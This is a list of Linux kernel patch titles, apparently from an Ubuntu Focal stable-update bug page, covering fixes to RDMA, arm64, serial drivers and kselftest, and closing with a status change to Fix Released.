    - staging: rtl8188eu: fix null dereference when kzalloc fails
    - RDMA/siw: Fix serialization issue in write_space()
    - RDMA/hfi1: Prevent memory leak in sdma_init
    - RDMA/iw_cxgb4: fix SRQ access from dump_qp()
    - RDMA/iwcm: Fix a lock inversion issue
    - HID: hyperv: Use in-place iterator API in the channel callback
    - kselftest: exclude failed TARGETS from runlist
    - selftests/kselftest/runner.sh: Add 45 second timeout per test
    - nfs: Fix nfsi->nrequests count error on nfs_inode_remove_request
    - arm64: cpufeature: Effectively expose FRINT capability to userspace
    - arm64: Fix incorrect irqflag restore for priority masking for compat
    - arm64: ftrace: Ensure synchronisation in PLT setup for Neoverse-N1 #1542419
    - tty: serial: owl: Fix the link time qualifier of 'owl_uart_exit()'
    - tty: serial: rda: Fix the link time qualifier of 'rda_uart_exit()'
    - serial/sifive: select SERIAL_EARLYCON
    - tty: n_hdlc: fix build on SPARC
    - misc: fastrpc: prevent memory leak in fastrpc_dma_buf_attach
    - RDMA/core: Fix an error handling path in 'res_get_common_doit()'
    - RDMA/cm: Fix memory leak in cm_add/remove_one
    - RDMA/nldev: Reshuffle the code to avoid need to rebind QP in error path
    - RDMA/mlx5: Do not allow rereg of a ODP MR
    - RDMA/mlx5: Order num_pending_prefetch properly with synchronize_srcu
    - RDMA/mlx5: Add missing synchronize_srcu() for MW cases
    - gpio: max77620: Use correct unit for debounce times
    - fs: cifs: mute -Wunused-const-variable message
    - arm64: vdso32: Fix broken compat vDSO build warnings
    - arm64: vdso32: Detect binutils support for dmb ishld
    - serial: mctrl_gpio: Check for NULL pointer
    - serial: 8250_...

Changed in linux (Ubuntu Focal):
status: In Progress → Fix Released
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